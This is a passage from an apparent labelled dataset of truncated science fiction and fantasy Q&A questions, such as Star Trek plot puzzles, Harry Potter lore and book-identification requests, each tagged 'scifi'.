Viktor was in hibernation, realise Viktor was carrying ... ",['scifi'] "Title: What actually happened between Spock and Saavik? Body: In Star Trek III, Saavik tells David that Spock is about to go through Pon Faar, and that he will need to mate to survive. Later on, she is shown performing some kind of ritual with her hands with ... ",['scifi'] "Title: Why didn't Elrond or Círdan take the ring from Isildur by force and destroy it? Body: 'Alas! yes,’ said Elrond. 'Isildur took it, as should not have been. It should have been cast then into Orodruin’s fire nigh at hand where it was made. But few marked what Isildur did. He alone ... ",['scifi'] "Title: What is that song Ripley sings while buckling-in the space-suit in Alien? Body: Towards the end, when Ripley finally ... She mutters a little song that seems to go .... you .... are ... (my) ... lucky ..... star .... .... lucky-lucky-lucky .... or something. ... ",['scifi'] "Title: 1980s or late 70s comic featuring a space ark with humanity frozen on board and a romance? Body: I may be remembering this incorrectly, but was a large hardbound SF anthology with several comics. May have been black and white, don't remember color. In one particular story, there is a space ark ... ",['scifi'] "Title: Book ID - A guy talks his way out of jail with magic Body: So I was suggested a book that was really good. She can't remember the title, but supposedly the opening scene has the main character in jail, and he talks his way out of jail by talking to nails and ... ",['scifi'] "Title: What Happened to US Robots? Body: In Asimov's chronologically earlier stories, like the ones in ""I, Robot"", the corporation US Robots and Mechanical Men was featured prominently. Yet in his chronologically later stories, there's no ... ",['scifi'] "Title: Near-future novella by non-pro, feat. life extension, solar system colonization Body: Although I rate my chances of getting this answered low, I thought I'd ask here. In 2005 +- 2 years, I stumbled across a novella (might have been 100 pages in length) that was available online for ... ",['scifi'] "Title: Would creatures of the same species evolve into different creatures if they came into contact with the 'black substance' in Prometheus? Body: In the movie Prometheus, the worm which came into contact with the 'black substance' quickly mutated into a snake-like creature. What are the odds that other worms of the same species that came into ... ",['scifi'] "Title: The Precursor invasion plan (moderate spoilers for Pacific Rim) Body: Toward the middle of Pacific Rim, it becomes apparent that the entities sending the Kaiju Eventually one of the Kaiju attacks a city, Why on earth would an intelligent species send that ... ",['scifi'] "Title: Melkor's power - why didn't he increase it? Body: If Iluvatar created the world with the Fire that Melkor had sought, why didn't Melkor use that part of the Fire to become even more powerful? ",['scifi'] "Title: Title of book: “(something) World” nanotechnology, world-wide speed limit displayed in the sky,enforced by satelite weapons? Body: The protagonist awakes to find himself with amnesia, and the story is his journey to self-discovery. Two features of the story are nanotechnology in his body, and a world-wide speed limit, displayed ... ",['scifi'] "Title: What was the motivation behind the conspiracy in Star Trek VI? Body: Toward the end of The Undiscovered Country, it is revealed that were cooperating to prevent the signing of the Khitomer accords. The latter claims she's working to protect Starfleet, but it doesn't ... ",['scifi'] "Title: How do Future Bill & Ted know Rufus' name? Body: In Bill and Ted's Excellent Adventure, we never see Rufus introduce himself to Bill and Ted. Instead, Future Bill says to Present Bill and Present Ted: ""Listen to this dude, Rufus. He knows what he's ... ",['scifi'] "Title: Can a Legilimens tell if his subject is trying to hide the truth using Occlumency? Body: This is a quote from Harry Potter and the Half-Blood Prince: There was a pause and then Snape said quietly, ""Ah . . . Aunt Bellatrix has been teaching you Occlumency, I see. What thoughts are ... ",['scifi'] "Title: TV show - prisoners get lethal injection but end up elsewhere afterwards Body: All I remember is in the show prisoners were given a lethal injection then find themselves in a strange world, hell or alien planet. Possibly part of an experiment? ",['scifi'] "Title: Is there any material covering the interim between seasons 2 & 3 in Falling Skies? Body: So, season 2 ends on a huge cliffhanger. Then, there's 7 months of in-universe time between seasons 2 & 3. After this, season 3 picks up almost as if the audience has missed nothing. Major details ... ",['scifi'] "Title: How did Snape get the fake Sword of Gryffindor into Gringotts? Body: I was watching the scene in Deathly Hallows where Griphook takes Harry et al into the Lestranges' vault at Gringotts so Harry can retrieve the Hufflepuff cup Horcrux, and I got to wondering how Snape ... ",['scifi'] "Title: Book Identification: Fantasy book that turns out to be post-apocalypse Body: I really want to reread a book I read years ago. I can't remember the title, but I remember that for most of the book it just appears to be a classic fantasy book, but part way through the main ... ",['scifi'] "Title: What are the different ways that Spider-Man makes webs in the comics? Body: I've never really followed the comics too religiously, but I've read a few issues here and there, and a few of the spin-offs. I recall one explanation of Spider-Man's webs as being an invention of ... ",['scifi'] "Title: Why did Indiana Jones want to take the Ark to England? Body: At one point in the movie ""Raiders of the Lost Ark"", Indiana Jones needs to transport the Ark of the Covenant out of Egypt and explicitly requests that Sallah find him a plane or boat going to ... ",['scifi'] "Title: The Man from U.N.C.L.E. canon Body: Is there a well-defined canon for The Man from U.N.C.L.E.? If so, are the novels considered canonical? The main reason I'm asking is, I was wondering how canonical David McDaniel's explanation of the ... ",['scifi'] "Title: Why the name “Cable”? Body: Wolverine: Sabertooth? [looks at Storm] Storm. [looks at Xavier] What do they call you? ""Wheels""? Most comic book characters have names which are so befitting them, or ... ",['scifi'] "Title: Did Dumbledore know the last part of Snape's Unbreakable Vow? Body: Dumbledore knew the first part of the Unbreakable Vow between Snape and Narcissa because Harry overheard Snape and Draco's conversation and later reported to him during their private lesson. But did ... ",['scifi'] "Title: The thing movie, The assimilation simulator [closed] Body: Where can I find this software? Maybe this is not a full-finished software; if it is then do you know any referance ? ",['scifi'] "Title: What's the relationship between the Monster's planet and Earth? Body: In Pixar's Monsters films (Monsters Inc. & Monsters U), the Monsters living on an Earth-like planet that is clearly not Earth. Via their special doors, they're able to come to Earth. It's ... ",['scifi'] "Title: Kryptonians as prehistoric gods & goddesses Body: With occasional oblique references to Kryptonians having travelled to other planets in the distant past, is there any connection between the Gods and Goddesses of mythology and empowered Kryptonians ... ",['scifi'] "Title: In the Hulk movies, why don't they make him talk? Body: In the Hulk movies he is portrayed as a dumb monster. They made him look completely mindless. I am concerned about it because within the Marvel Cinematic Universe he barely talks. ",['scifi'] "Title: What happens to Inquisitorial retinues once their Inquisitor dies? Body: When an Inquisitor dies would his retinue/henchmen be gathered up and mindscrubed or would they go into a ""henchmen"" pool of the Inquisition?? I mean most of the retinue hear/see/do stuff that ... ",['scifi'] "Title: What is the relationship between Taura and Admiral Naismith? Body: I have read most of the suggested background materials leading up to Mirror Dance, which I am currently reading. However, I have missed ""Labyrinth"" (as well as Ethan of Athos). So my first ... ",['scifi'] "Title: Did Data have enough memory or “hard drive space”? Body: I remember an episode in Star Trek TNG (probably first season) where Data is describing some of his internal workings. Among them, he lists that he is equipped with ""12 quadrillion"" bytes for memory ... ",['scifi'] "Title: Novel about Androids in London of the Future Body: A novel I read probably in the late 50s, a man in London was working when a disaster occurred and he was accidentally frozen. A long time later after significant world destruction he was awakened in ... ",['scifi'] "Title: Scifi fantasy book 1980s or 1990s Body: I read a book years ago that was about a hunchbacked boy. I remember there was space travel, a ship, a female and other characters. I also remember he had an incredible itching on his hump. He was ... ",['scifi'] "Title: Who Inherited Bag End? Body: When Bilbo and Frodo sail into the west with the Elves they are essentially abandoning their home at Bag End, as they are leaving the Shire permanently. Please tell me that the Sackville-Bagginses do ... ",['scifi'] "Title: Why are house-elves associated with rich families, if they are not paid? Body: In the second book, when Harry tells the Weasleys about Dobby, Fred says that ""whoever owns him will be an old wizarding family, and they'll be rich"", and George adds that house-elves ""come with big ... ",['scifi'] "Title: Why is Nostromo's technology so… 1980s? Body: ""Prometheus"" is meant to be a prequel to ""Alien"", happening 30 years before (src). If that's the case, how come one of the very earliest spaceships, Prometheus from 2089, has a spiffy new technology, ... ",['scifi'] "Title: Story about an artificial intelligence that had to be turned off Body: There was a story many years ago about an artificial intelligence that was created to aid researchers by absorbing knowledge in many fields. It would digest the information for a researcher and see if ... ",['scifi'] "Title: Room is really a spaceship Body: When I was a kid - 80's/90's - there was a science fiction series about a kid, whose room was really a spaceship that could just take off detaching itself from the building. Can anyone help me on the ... ",['scifi'] "Title: Comprehensive Rules for Game of Thrones Lines of Succession Body: I'm three quarters through the third book, ""Storm of Swords"" right now (so please, no spoilers from too late in the book or any subsequent books). I just read a part where Tyrion is discussing with ... ",['scifi'] "Title: What is the first appearance of a Lich in fantasy literature? Body: What is the first appearance of a Lich in fantasy literature? I will accepts answers pointing to myths ans sagas and such as well. Edit: For clarity, I'm asking about Liches as defined by Wikipedia: ... ",['scifi'] "Title: YA fantasy novel about supernatural teens in an organization run by gods Body: I read this book several years ago. All I remember about the plot is that teens (who have special abilities) are part of an organization run by gods. There's another group that is trying to ... ",['scifi'] "Title: New Israel Space station in Lagrangian point Body: Back around 1986 I read a Sci Fi book that opens with a nuclear war in the middle east that destroyed Israel and surrounding countries. The main part of the book dealt with life on a space station ... ",['scifi'] "Title: What is the difference between the gens and humans in Dark Metropolis? Body: In the introduction it said they were a generic race but with superior DNA. They were to be used as a disposable army for a future war (that never came). Well it did in that they went to war with the ... ",['scifi'] "Title: Why couldn't Palpatine sense Luke on Endor? Body: I don't understand how Palpatine couldn't sense Luke's presence on Endor when Vader could. Granted, Vader was Luke's father and had more of a bond, but why not Palps? ",['scifi'] "Title: What is the term for an anthropomorphic animal that fits a certain role or profession? (ex. a scholarly owl, dalmatian firefighter) Body: I am struggling to find out what to look for. My goal is to find a list of stereotypical anthropomorphic animals, but I am having trouble searching because I don't know what the term is called. For ... ",['scifi'] "Title: Is the nature of the inhabitants of Quinta from the novel Fiasco known? Body: In Stanisław Lem's Fiasco, the nature of the inhabitants of the alien planet is never directly revealed, only hinted at. On the forums there is some amount of speculation about it, the most common ... ",['scifi'] "Title: Cartoon series from the 90's Body: A family of four, dad, mom, son, daughter and their two strange pets are traveling through space in search of strange new worlds. ",['scifi'] "Title: Book ID: Post Apocalypse or near Future with mutants Body: The book is published in 1997 or possibly older. I think it was part of a series. The book I read was an anthology with two or three stories in it. It appeared it could have been a collected edition ... ",['scifi'] "Title: In Brent Week's Lightbringer, what are the alternate names for the Luxins Body: In Brent Weeks Lightbringer series. (So far, The Black Prism, and the Blinding Knife) There are alternate names for the Luxins of various colours. Names used more informally. I'm not actually sure if ... ",['scifi'] "Title: Why did they choose that theme song for Star Trek Enterprise? Body: In all the series of Star Trek, except Enterprise, the theme music has no words and seems to inspire the general Star Trek ""march"" of ""boldly going where no one has gone before."" Enterprise's theme is ... ",['scifi'] "Title: What is the deal with Kolea/Dalin? Body: Finished reading the Gaunts Ghosts novels in preperation for the Warmaster so my memory is fresh and one thing is bothering me a bit. Does Dalin know that Kolea is his real father or not?? When ... ",['scifi'] "Title: Name of a children's(?) novel involving a battle in space being affected by the writing of an author on Earth? Body: There's two factions battling it out in space, and the ""good guys"" rock up on Earth to seek the author who is changing their fate with his writing. If I recall correctly, the original author might ... ",['scifi'] "Title: Understanding the limericks in Asimov's mystery story, “Out of Sight” Body: It is about the well-known ""Black Widowers"" series of Asimov's stories. I'm currently having difficulties in understanding some passages in the ""Out of Sight"" story (the last one) from the 1-st book. ... ",['scifi'] "Title: What were Vegeta and Nappa's power levels in DBZ Season 1? Body: I just finished watching the awesome fight between Goku and friends versus Vegeta and Nappa. Throughout the fight, the two evil saiyans constantly read the power levels of the ""good"" guys. However, ... ",['scifi'] "Title: Question about Supernatural Season 8 finale Body: In the season final of Supernatural (season 8), we see: We've seen our share of angels in the past and we know that they don't look humans in Heaven, they just posses human vessels when they come ... ",['scifi'] "Title: Short story where spacers meet “death by silk” while on shore leave Body: I really should be able to find this but it eludes me. It's a short story I read in an anthology about a group of spacers getting shore leave on a planet. One of the men chose to forgo leaving the ... ",['scifi'] "Title: Searching for title of fantasy novel including harpies Body: I read a children's fantasy book in the 80's that had illustrations. It was about a boy and possibly a girl in a magical forest. There were harpies that menaced them. Does anyone know what book that ... ",['scifi'] "Title: Are droids hackable in the Star Wars universe? Body: Are droids hackable in the Star Wars universe? For example, theoretically, could an Imperial hacker hack into C3P0's memory (let's say while the poor robot is in pieces in the Cloud City, before ... ",['scifi'] "Title: In which order should I start Watching Star Trek movies and TV series Body: I don't know anything about Star Trek except for the fact that it's about spaceships In This question the person only wanted to watch the TV series. I want to watch every movie and TV-series there is ... ",['scifi'] "Title: Help to identify a sci-fi trilogy of books - similar to three musketeers, moon as a casino Body: I'm trying to identify a trio of books I read as a teenager. They were set not too far in the future with the main character getting into a series of adventures with three older soldiers(?) One of the ... ",['scifi'] "Title: Is the marriage between these Doctor Who characters ever consummated? Body: I tried to leave the title as non-spoiler-ish as possible. If enough time has passed that a spoiler in the title is permitted, please feel free to edit. At the end of Season 6 of Doctor Who, we ... ",['scifi'] "Title: How does Miro fly to Trondheim without destroying all the ecosystem of the planet with Descolada? Body: I have only read Ender's Game and the Speaker for the Dead, and did not yet read the other books from the series. So it might be already explained in other books. But I could not find the explanation ... ",['scifi'] "Title: Was River Tam's sanity restored (either fully or partially) on Miranda? Body: I'm trying to phrase this without introducing any spoilers, so please forgive the vague description of events. After seeing the video that reveals ""the secret that burned up River Tam's brain"", she ... ",['scifi'] "Title: How do Kryptonians know Earth languages? Body: In Man of Steel, when General Zod & company arrived to Earth, they broadcast a message in many Earth languages. We've also seen them speaking English. How do they know Earth languages? ",['scifi'] "Title: How does River Song know when and how she died? Body: When River Song first appears in ""Name of the Doctor"" she appears to be alive and well, joining the ""conference call"" to talk about the threat to The Doctor's life. She mentions that The Doctor hasn't ... ",['scifi'] "Title: Where is Lex Luthor in Man of Steel? Body: I really missed Lex Luthor type amazing character in Man of Steel. I was expecting him to contact General Zod for personal benefits. Has the storyline been played on an Earth (multiverse of infinite ... ",['scifi'] "Title: Social dystopia requiring conformant behavior Body: I am trying to remember the name of a film I saw where people have to abandon their own personality and free will to adapt to the standard of a community, similar in theme to ""The Stepford wives"". The ... ",['scifi'] "Title: TV show or movie with aliens taking people over via red triangles on their foreheads Body: I remember as a kid in the 1990s or early 2000s watching a VHS tape of a show or a movie (not quite sure which) but all I can really remember about it, which should be pretty major, was there were ... ",['scifi'] "Title: Need attribution of Spiderman quote-Not everyone is meant to make a difference. But for me the choice to lead an ordinary life is no longer an option Body: I need correct attribution of the quote ""Not everyone is meant to make a difference. But for me the choice to lead an ordinary life is no longer an option."" Was this only for the movie? Or did it come ... ",['scifi'] "Title: Why are there so few children to select from in The Hunger Games Body: When the children are being selected, it seems each district gathers all their children in one location to be picked from. I'm just guessing but there doesn't seem to be more than a 1000 (maybe as ... ",['scifi'] "Title: Book about playing “death games” with computers obeying the 3 laws? Body: Anyone know what book/story this refers to? ""Remember the scifi book you had us read about the omnipotent / omniscient computer that obeys Asimov's 3 rules? People got into 'death games' where ... ",['scifi'] "Title: In the Avengers movie what exactly was Loki's plan for the Chitauri? Body: Question is in the title, but I'll expand on it some. Presumably from what we heard throughout the movie Loki's plan is to take over the planet. Great sounds good. however... In the movie we see ... ",['scifi'] "Title: Is there any sci-fi story about intelligent extra-terrestrial life on a tidal locked planet? [closed] Body: After reading the news about Gliese 667 star system I am wondering if any sci-fi author already tried to describe intelligent lifeforms that could evolve on tidal locked planet - facing the sun with ... ",['scifi'] "Title: Claire's impaired immune system Body: Presumably, Claire's power (rapid cellular regeneration) didn't kick in until adolescence otherwise she'd probably know about it beforehand. Given that she would have roughly 16 years, since she's ... ",['scifi'] "Title: Why doesn't Walter rebuild a window? Body: I am currently watching the third season, please avoid spoilers beyond the middle of this season (I just watched the flashback episode which make us see Olivia and Peter meet as kids). Walter tells ... ",['scifi'] "Title: Boy goes insane during space travel Body: I'm trying to remember the name of a short story I read about 25 years ago or so. I'd also like to know of any collections it appeared in. The details I recall involve a family who are embarking on ... ",['scifi'] "Title: Story in which a city had to move steadily over all terrains to remain the same height Body: People had to move their entire city towards the (horizon?). They traveled over all terrains--water, mountains, deserts. As they traveled they remained the same height. If they slowed down or sped up ... ",['scifi'] "Title: Why did the silver hand turn against Wormtail? Body: Obvious spoilers for Deathly Hallows.. Excerpt from Slytherincess' answer to Why was Wormtail made a servant ? Voldemort enchanted the silver hand to kill Wormtail if Wormtail showed the weakness ... ",['scifi'] "Title: How was Basilisk so stealthy? Body: Let's put aside the question of how a huge snake could fit into the Hogwarts water pipes (they're magical pipes!) and exit them at random points (there are magical pipes/walls with built in portals ... ",['scifi'] "Title: In which Comic Book series is Batman actually Thomas Wayne? Body: I've heard people say that there is a series of comics where Batman is actually Thomas Wayne instead of his son, Bruce. Where can I find this? What is the series called? ",['scifi'] "Title: Something doesn't add up to me in first Highlander movie Body: I have a question on the first Highlander movie: In the scene when Kurgan is talking to Connor McLeod in the church, he has a conversation with a priest after Connor leaves. Priest: People are ... ",['scifi'] "Title: Does Harry Dresden 'Level Up' After Each Book? Body: I spun this out as an offhand comment on this question but it made me think about it. When we first meet Harry in Storm Front his powers are quite weak for a wizard and as the series progresses he ... ",['scifi'] "Title: Looking for a book with a talking cat Body: I know the title is a bit vague :\ I remember reading a book with a cat that in the middle of talking would stop to groom himself. I think he talked mostly in riddles and ambiguously (As would befit ... ",['scifi'] "Title: Was Luke feigning helplessness in Return of the Jedi? Body: In Revenge of the Sith Palpatine feigns helplessness and begs Anakin to save him from Mace Windu so he (Palpatine) can save Padme. Near the end of Return of the Jedi Palpatine is pouring ... ",['scifi'] "Title: Has there ever been a Dalek civil war? Body: So I went to the Dr Who Experience, which started with a light and special effects show. It was sort of a mini story, taken from various Dr Who episodes, like the Pandorica one. In this, the audience ... ",['scifi'] "Title: Old movie or tv show about man living longer which splits mankind Body: The story is about the discovery of a kind of vaccine that permits the people to live longer. But some people react against the vaccine and become very strong and hostile (like hulk). The people that ... ",['scifi'] "Title: Did Harry Potter lose Voldemorts powers when he stopped being a horcrux? Body: Harry noted to Dumbledore that he had a number of things in common with Voldemort. And it was later revealed that some of Voldemort's power was transferred to Harry when Voldemort tried to kill him. ... ",['scifi'] "Title: Has anyone read short story about a boy on a generation ship with an AI that is raising children? Body: In the early 90’s I read a short story about a boy (protagonist). I cannot remember his name (so let’s call him Adam) or his age, but I think he was about twelve years old. Adam was awoken by the ... ",['scifi'] "Title: Why doesn't Bran have a wheelchair? Body: Why would Bran Stark not have a wheelchair? Doran Martell uses one due to his gout, so one would think that a comparable 'technology' would exist in the North. Do we have a sense of whether the ... ",['scifi'] "Title: How have authors integrated fanfic into their canon? Body: How have authors integrated fanfic into their canon? Eric Flint's 1632 / Assiti Shards universe includes material that was originally developed as fanfic (he strongly encourages fanfics and promotes ... ",['scifi'] "Title: How does time travel take into account the rotation/revolution of the Earth? Body: Hypothetically, if you were to travel say, 6 months into the past with no spatial displacement, you would end up floating in space because the Earth would be on the opposite side of the sun. I know ... ",['scifi'] "Title: How was Skynet created in the original timeline? Body: The Terminator movies leave us with a sort of ""chicken or the egg"" problem. Let's review some key facts In 2029, Skynet sends a T-800 back to kill Sarah Connor In 2029, John Connor sends Kyle Reese ... ",['scifi'] "Title: What was the point of bringing Ziesha from the future? Body: Our hero had access to time machine using which he could save original Sana. Why did he go so far to seduce and bring her reincarnation from the future? ",['scifi'] "Title: Why do the Faith of the Seven allow worship of the old gods? Body: As a whole, people in ASOIAF are surprisingly tolerant of other religions. Is there a basis for this, or are the people in the Seven Kingdoms too busy killing people over other things to care? ",['scifi'] "Title: Does the existence of the Archive make the Oblivion War unwinnable? [Mild Spoilers] Body: In the Dresden Files, there's an effort known as the Oblivion War, to sever the connection that old gods and their ilk have to the mortal world. The way to do this is to remove these gods from mortal ... ",['scifi'] "Title: Who are the green men? Body: And so the little crannogman’s prayer was answered... by the green men, or the old gods, or the children of the forest, who can say? I thought 'green men' was another name for the children of ... ",['scifi'] "Title: Who is Lord Hoster Tully's Tansy? Body: In his death bed, Lord Hoster Tully speaks in delirium of Tansy. Who is she? There was a smell of death about that room; a heavy smell, sweet and foul, clinging. It reminded her of the sons that ... ",['scifi'] "Title: Are the children of Han and Leia also royalty? Body: Princess Leia is a princess, apparently. Even though her planet was destroyed she is still referred to as such. Do her children also inherit the title of prince and princess? One thing to consider is ... ",['scifi'] "Title: Collection of YA horror short stories c.1980 including “Mr. Monstro” Body: I'm looking for a short story that terrified me as a child. It appeared in a YA horror collection about monsters. None of the other stories stuck with me, but the one about “Mr. Monstro” kept me awake ... ",['scifi'] "Title: What is the title of this superpowers movie? Body: I remember watching a SF movie as a kid about 15 years ago about a guy who gains superpowers after he sees a rocket exploding (some red flash if I remember correctly). One of the superpowers was ... ",['scifi'] "Title: Are Tyranids the creation of humans? Body: The origins of the Tyranids are unknown to us. All we basically know that they arrived 741.M41 at the eastern end of our galaxy. I was discussing that point with an Warhammer40k-enthusiast quite a ... ",['scifi'] "Title: Earth leaves IQ suppression zone Body: I'm trying to find a book I remember reading, one I'd like to re-read. I saw it probably decades ago. Basic premise is that earth has been stuck in a zone that somehow suppresses intelligence. ... ",['scifi'] "Title: Did Connie Willis write this story? [closed] Body: A U.S. woman is a lecturer and writer who goes to England to give some talks; she stays with a friend who has a rather high position in government. While in England, the U.S. is taken over by a ... ",['scifi'] "Title: Is John Hurt actually going to be the next Doctor? [closed] Body: John Hurt is over 70 years old. Even the first Doctor in the original series who looked like he was 200 was about 60 yrs old at the time. To me it just wouldn't seem good for Clara who is about 30 ... ",['scifi'] "Title: Can we deduce the location of Metropolis by where the World Engine landed in the Indian Ocean? Body: In Man of Steel, (spoilers) Anyway, it would be interesting if we could discover the location of The Big Apricot this way. ",['scifi'] "Title: Why didn't Neo use an operator to transport him? Body: I was watching Matrix Reloaded with my sister, she asked me a question in the scene, where Neo opens the door and finds himself in Tibet and starts flying from there to city where Morpheus and Trinity ... ",['scifi'] "Title: Why couldn't the universal translator be used to communicate with the Klingons? Body: In Star Trek Into Darkness, Why couldn't the universal translator be used remotely or with security personnel? Note: the Universal Translator was invented before the new timeline diverged from the ... ",['scifi'] "Title: In “Man of Steel”, how did Superman get his super-suit? [Spoilers] Body: Warning, this question contains spoilers for the movie ""Man of Steel"". When I watched the movie, I was surprised to see that there was no Fortress of Solitude. Instead, that concept was replaced by ... ",['scifi'] "Title: In Man of Steel, how did the phantom drive create the singularity? Body: ",['scifi'] "Title: Fantasy short story with soul-taking magic users Body: I read it several years ago but I have no idea when it was published. What I remember is that some people are born with a magical talent and some people are born with the ability to take that talent ... ",['scifi'] "Title: Title of story/book: Super intelligent computer-program being tested at space-station Body: I'm pretty sure I read this story at Baen Free Library, but as they've taken down most stories to re-organize, I don't remember the title. I'm not sure if it was a book by itself or just a story in a ... ",['scifi'] "Title: Title of book: Gen-manipulated intelligent squids explore space/planet? Body: I'm looking for the author and title of a book. I believe it's (supposed to be) the first in a trilogy, all using the same characters, but taking place in different universes - with only humans, with ... ",['scifi'] "Title: Find my short story: Unexplainable darkness for three days. Brazilian author? Body: I read a short story in a hard back anthology. This was a couple years ago in a college library, and I'm pretty sure the book had been re-bound; so the story could be old, like 80's but I don't know ... ",['scifi'] "Title: How do the aliens in the “Darkest Hour” get to the Earth? Body: In the movie, The Darkest Hour, the aliens' arrival is heralded by a total loss of power, a wicked aurora and the usual proceeding chaos. How did they get to the Earth in the first place? (and more ... ",['scifi'] "Title: Can muggles see ghosts? If so, what measures are taken to prevent that? Body: In relation to a question: Are there muggle ghosts in the Wizarding World?, it says that only wizards may become ghosts. But, can a muggle see a (wizard) ghost? Ghosts may roam the places they used ... ",['scifi'] "Title: Name of book that includes giant space creatures, resembling manta rays, that eat solar fuel and kill stars Body: My dad has been trying to figure out the name of this book for two years, and I want to help him. As he described the book to me, the story revolves around a society of space creatures that ... ",['scifi'] "Title: Artificial lifeform trying to establish contact through compiler bugs Body: I am looking for a short story I read online a few years ago, about artificial lifeform, with a hard sci-fi taste. A couple of software engineers were trying to identify a strange program behaviour ... ",['scifi'] "Title: Fantasy Book possibly titled 'Iceworld' Body: Read this book on deployment that a friend was sent and I rather enjoyed it. I'm like 80% certain that the title was Iceworld, yet I get hits that aren't it. It isn't written by Hal Clement (which is ... ",['scifi'] "Title: Enterprise Chain of Command Body: What is the chain of command on Kirk's Enterprise? We all know that Spock is second in command, but who comes after that? I ask because last night I re-watched Shore Leave, which featured Kirk, ... ",['scifi'] "Title: How does raven post work? Body: How does raven post work? A raven knows to fly to one particular castle. But what happens after that? Kept at its home castle, a raven is useless. The only solution I can think of is that ravens are ... ",['scifi'] "Title: When did the traitor turn? Body: Major spoiler for season 3 of GOT: ",['scifi'] "Title: Book Identification: Swimming skill feared, Water monsters Body: This book takes place in times where having the ability to swim is feared. Swimming is feared because there are monsters that live in the water that can disguise themselves as humans. The main ... ",['scifi'] "Title: How did Iroh deliver the “Secret History” message to Zuko while imprisoned? Body: During Zuko's days back to the Fire Nation's capital city (and Iroh's imprisonment), Zuko finds a scroll telling him the location of a ""Secret History"" about his great grandfather's demise. Eventually ... ",['scifi'] "Title: Mutated animals in X-men (/Ultimate X-men) Body: In Ultimate X-Men #18 when Xavier talks about how he and MacTaggert started their work, he mentions ""Boys made of steam, dogs made of ice cream."" Even if this is a humorous remark, it still seems to ... ",['scifi'] "Title: Does Scalzi describe what the Rraey look like? Body: I do not remember what they look like, nor can I find any answer to my question. I'm at the end of Old Man's War, so if you've read the book you can probably understand that trying to visualize them ... ",['scifi'] "Title: If Morpheus and Neo were driven by free will, why did they follow the Oracle's advice? Body: As a 'sell' for exiting the Matrix, Morpheus gives Neo an inspirational speech about how we have free will. Morpheus: .. Do you believe in fate, Neo? Neo: No. Morpheus: Why not? Neo: Because ... ",['scifi'] "Title: What blood status would a child have if he/she were born to two Squibs, both from Pureblood families? Body: I believe there have been discussions on whether Squibs can have wizard offspring. Assuming that two Squibs can produce wizard offspring, what blood status would that offspring have? Perhaps if the ... ",['scifi'] "Title: Why did the Council of Five comply to Long Feng? Body: After re-watching The Earth King episode, we see that the Council of Five consists of the highest ranking generals in the Earth Kingdom. They of course know there is a war going on with the Fire ... ",['scifi'] "Title: Identification of old animated TV series ( Crashed spaceship, astronaut waiting to be rescued? diner?) Body: I am searching for an old (at least 10 years ago) animated TV show. It was kind of a comedy; a space astronaut crashed on a planet (maybe asteroid) where there is some kind of diner, and he is waiting ... ",['scifi'] "Title: A SF story about a ship of clones Body: I'm trying to identify a science fiction story for a friend. He remembers it as a novella or novelette written in the late 60s or early 70s. In it, they have ships with faster than light drive, but ... ",['scifi'] "Title: SF anthology story about mysterious android servants Body: These androids show up day in suburban USA and start offering all their services for free - they are much better than the robot helpers that cost money - the protagonist is a salesman of the latter. ... ",['scifi'] "Title: SF book about a town displaced in time by an accident at a local lab Body: I'm looking for a book about a small town displaced in time or to an alternate universe, as told by a juvenile. There's an experimental lab and something goes wrong and the lab and local town are ... ",['scifi'] "Title: Why are the Olympians are the only truly immortal deities in The Iron Druid Chronicles? Body: In ""The Iron Druid Chronicles"" we are repeatedly reminded by ""Atticus"" that the Olympian deities (Greek/Roman) are the only truly immortal entities while all the other gods can be killed. I can't ... ",['scifi'] "Title: Are there any female characters in the Hobbit? Body: I believe Bilbo's mother, Belladonna Took, is mentioned briefly in the beginning, but are there any female characters who actually appear in the novel, rather than being merely referenced? Even ... ",['scifi'] "Title: can anyone identify the movie a kid with her father stranded in an alien planet? Body: I used to watch a movie, probably in the early 90's. The movie was about a girl (blonde curly hair) with her father who crash landed on a planet. She then went out for a power source for their ... ",['scifi'] "Title: In Prometheus, why did only the humans evolve from the space jockey/Engineer who drank from the cup and not the alien creatures [duplicate] Body: In Prometheus, why did only the humans evolve from the space jockey/Engineer who drank from the cup that contained the alien gene/recipe and not the actual alien creatures they are supposed to create ... ",['scifi'] "Title: What color is the sun of Apokolips? Body: I recently watched Superman/Batman: Apocalypse, and as noted in the question Does Superman have super powers outside of our solar system? Superman and Supergirl have all their powers on Apokolips. ... ",['scifi'] "Title: Science Fiction story about a man transferred in time by the atomic bomb Body: Back around the summer of 1972, a friend in the Navy told a time travel story to group of us. It was about an archeologist working in the Gobi Desert of China. He found a cave made into a makeshift ... ",['scifi'] "Title: Summary of Daenerys Targaryen's fate and relationship with Winterfell? [closed] Body: I've seen Game of Throne upto Season 3 episode 9 and I want to know what Daenerys Targaryen going to do about it and her relationship between Starks (Especially Jon Snow). ",['scifi'] "Title: Did the location for Starfleet headquarters change in Star Trek Into Darkness? Body: In the latest movie, critical executive Starfleet meetings were held in London and not San Francisco. Was Starfleet HQ moved? If so, when did this happen? ",['scifi'] "Title: Why did McCoy need this person in particular to make his serum? Body: In Star Trek Into Darkness, My Question is: ",['scifi'] "Title: Why are the bridges of Klingon ships so steamy? Body: Apart from looking evil, is there any particular reason as to why these rooms look like saunas? (from Arik Beremzon via Quora) ",['scifi'] "Title: a book I read about survival on another planet and waygates Body: I read a book about students who were graduating from some kind of academy where they trained to be the first people visiting a new planet and to scout it out or otherwise prepare it for colonisation. ... ",['scifi'] "Title: Fantasy novel I read in the '80s Body: I'm looking for a fantasy novel that I remember enjoying, but I have only the vaguest memory of it. The paperback version I had featured a cover painting in grayish tones, which was a close-up picture ... ",['scifi'] "Title: What was the concept behind the communication in the episode Such Great Patience? Body: What was the concept behind the communication between... Also, in relation to the above question they said that dolphins were the most intelligent species on the planet a million years ago. If man ... ",['scifi'] "Title: What is the concept behind silicon magnetics in the episode Such Great Patience? Body: How was... ",['scifi'] "Title: In Lord of the Rings, why did hobbits appear to be more resilient to the Ring than men? Body: Why can Bilbo, Frodo and to some extent Gollum resist the Ring's influence to a greater extent than men? What is the significance of this? ",['scifi'] "Title: Try to find a sf novel I read 25-30 years ago about a man drifting in the bermuda triangle Body: I rack my brain about a science fiction novel I read about 25 - 30 years ago. Unfortunately I don't remember much but it was about the a man drifting in the bermuda triangle and waiting for I believe ... ",['scifi'] "Title: Why does the Tardis Hate Clara ? Body: As far as we know, the Tardis has never had problem's with any other companion of the Doctor. So why does she hate Clara so much ? *Note : I'm using the feminine form for the Tardis, because in my ... ",['scifi'] "Title: Is the Archangel Corwin passage a reference? Body: In The Courts of Chaos, as Corwin hellrides through Shadow, he stops to rest in a cave. When he awakens, a man there asks him whether his name is Corwin, mentioning a holy book. The passage in ... ",['scifi'] "Title: Where did the extra crew come from in Andromeda S03E12-The Dark Backward? Body: First question here, pretty long time lurker. Not sure how much of a spoiler this is, but just in case: In S03E12 The Dark 